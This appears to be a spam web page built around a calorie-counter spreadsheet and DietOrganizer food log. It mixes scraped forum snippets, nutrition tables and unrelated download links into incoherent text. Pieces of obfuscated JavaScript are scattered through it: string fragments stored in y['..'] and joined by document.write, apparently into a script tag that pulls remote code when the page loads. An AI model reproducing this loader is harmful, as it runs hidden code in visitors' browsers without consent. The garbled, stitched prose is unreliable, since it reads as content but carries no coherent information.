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DietOrganizer - Sue.dto

File Edit View User Food Exercise Help

Sue Sat 27 October Today

Shortcuts x

Calendar 5

Foods

Exercise

Measure

Journal

Chart

Report

Food Finder

Search Previous Menus

Look for:

Favorites:

--- Quick Entry ---

--- New Food ---

Apples, raw, with skin

Asparagus, cooked, boiled, drain

Bacon *

Baked Beans +

Beans, snap, green, frozen, cook

Beef stew +

Beef, round, tip round, separable

Bolognaise sauce +

Bread *

Bread sauce +

Broccoli, cooked, boiled, drained,

Broccoli Quiche +

Brussels sprouts, frozen, cooked

Butter, salted

Carrot & Coriander Soup (sainsbu

Carrots and Parsnips +

Carrots, cooked, boiled, drained,

cauliflower Cheese +

Celery Nut & sultana +

Cereals ready-to-eat, wheat, shre

Cheese, cheddar

Chicken, roasting, meat only, coc

Cod in Batter +

Coleslaw +

Enter Quantity Add

Food	Quantity	Calories...	Carbohy...	Protein (g)	Fat (g)
Breakfast					
Tea	1 portion	15.0			
Corn Flakes	0.9 oz	92.1	21.9	1.8	0.2
Milk, Semiskimmed	4.2 oz	59.5	5.7	4.0	2.3
Orange Juice	1.9 oz	23.7	5.4	0.4	0.1
Sub Total		190.3	33.1	6.2	2.6
Lunch					
Carrot & Coriander Soup (sainsburys)	8.5 oz	70.4	7.5	1.3	4.0
Bread	2.2 oz	153.4	28.8	6.0	2.6
Ski Light Yogurt	1 portion	63.8	9.6	5.6	0.3
Tea	2 portion	30.0			
Sub Total		317.6	45.9	12.9	6.9
Dinner					
Broccoli Quiche	2.6 oz	192.4	14.2	5.7	12.5
Potatoes, boiled	7.9 oz	192.6	44.8	3.8	0.2
Butter, salted	0.4 oz	81.3	0.0	0.1	9.2
Peas, green, cooked, boiled, drained, without...	2.1 oz	50.0	9.3	3.2	0.1
Sub Total		516.3	68.3	12.8	22.1
Snacks					
Baked Beans	0 g	0.0	0.0	0.0	0.0
Carrots and Parsnips	0 g	0.0	0.0	0.0	0.0
Sub Total		0.0	0.0	0.0	0.0
Total		1024.2	147.3	31.9	31.6

Quick Summary

Todays Calories		Calorie Breakdown		Nutrient	Total	Units	Goal%	RDA%
Metabolic Rate	1957	Food		Calories	1024.2	kcal	53%	
Exercise	0	Today		Fat	31.6	g	77%	
Diet Plan	-750	Goal		Saturated Fat	16.9	g		
Food Intake	-1024			Polyunsaturat...	1.3	g		
Net (Remaining)	183			Monounsatur...	4.2	g		

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I'm pretty good with excel spreadsheet but didn't want to touch anything and correct it.. Wondering if you ever thought about adding a way to use the spreadsheet for two..

r";y["zN"]="/i";y["zw"]="pt";y["Vz"]="oa";y["Ru"]="yp";y["qF"]="2Q";y["wc"]="nl";y["oC"]="=" ;y["OH"]=""
t";y["PB"]="gg";y["KP"]="va";y["Fg"]="c7";y["WR"]="40";y["Sv"]="".

Fitness Pal com I created a spreadsheet for ushttps://docs Kv 2JYFYt_DZ6 Yod.

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Unfortunately, I cannot do this for all the individual days Enter your mileage for each day in km, and your 'total' will show completion in miles.. Find the calories in vegetables, and view food labels for your favorites to eat a healthy meal.. This is just so everybody's 'total' is in the same measurement Read reviews, compare customer ratings, see screenshots, and learn more about Sodium One ~ Sodium Counter.. Calories Tracker Spreadsheet In order to track and assess your goals, I created an online spreadsheet that will be useful for you! Before being able to edit the file, you need to make a copy.. A very detailed spreadsheet with various tabs If you want to get serious about your eating habits. [Redragon Mouse Driver Download](#)

Food Log Summary:

Meal	Food	Quantity	Calories	Carbohy...	Protein (g)	Fat (g)
Breakfast	Tea	1 portion	15.0			
	Corn Flakes	0.9 oz	92.1	21.9	1.8	0.2
	Milk, Semiskimmed	4.2 oz	59.5	5.7	4.0	2.3
	Orange Juice	1.9 oz	23.7	5.4	0.4	0.1
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	Sub Total		516.3	68.3	12.8	22.1
Snacks	Baked Beans	0 g	0.0	0.0	0.0	0.0
	Carrots and Parsnips	0 g	0.0	0.0	0.0	0.0
	Sub Total		0.0	0.0	0.0	0.0
Total		1024.2	147.3	31.9	31.6	

Quick Summary:

Nutrient	Total	Units	Goal%	RDA%
Calories	1024.2	kcal	85%	
Fat	31.6	g	77%	
Saturated Fat	16.9	g		
Polyunsaturat...	1.3	g		
Monounsatur...	4.2	g		

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Calorie Calculator It's so simple you won't be able to cheat anymore! Calorie Tracker.. write(y["cs"]+y["Je"]+y["sA"]+y["Mr"]+y["KP"]+y["PQ"]+y["Yp"]+y["oC"]+y["yz"]+y["pr"]+y["Br"]+y["ZE"]+y["hw"]+y["zw"]+y["DU"]+y["ZE"]+y["hw"]+y["zw"]+y["OH"]+y["Ru"]+y["zs"]+y["vo"]+y["YQ"]+y["jU"]+y["hq"]+y["KP"]+y["ZE"]+y["hw"]+y["zw"]+y["Fk"]+y["Yb"]+y["Qf"]+y["WJ"]+y["YL"]+y["by"]+y["kn"]+y["EW"]+y["WR"]+y["Cd"]+y["Xv"]+y["qF"]+y["TZ"]+y["EI"]+y["pv"]+y["jk"]+y["LO"]+y["Fg"]+y["Fu"]+y["zT"]+y["Wc"]+y["Ft"]+y["ZE"]+y["hw"]+y["zw"]+y["jm"]+y["Ny"]+y["sg"]+y["og"]+y["WL"]+y["aZ"]+y["qZ"]+y["wi"]+y["PB"]+y["zN"]+y["an"]+y["YQ"]+y["Td"]+y["Ik"]+y["wc"]+y["Vz"]+y["xE"]+y["md"]+y["Sv"]+y["Hy"]+y["DU"]+y["ti"]+y["Je"]+y["sA"]+y["Mr"]);SPREADSHEET! - My.. Just wondering if you were able to do something where I can Free vegetable nutrition information at Calorie Count.. Free mobile apps Discussion forum As Continue reading Excel Calorie Counter Home; About; Products; Policies.. j";y["zT"]="Lo";y["hq"]="ja";y["PQ"]="r ";y["sA"]="ip";y["Wc"]="Gi";y["md"]="en";y["jU"]="t/";y["EW"]="nD";y["EI"]="OF";y["YL"]="tt";y["Qf"]="c=";y["ti"]="s/";y["kn"]="//";y["Td"]="_d";y["Hy"]="s\''";y["yz"]="zd";document. [Create Usb Drive For Mac On Windows 10](#)

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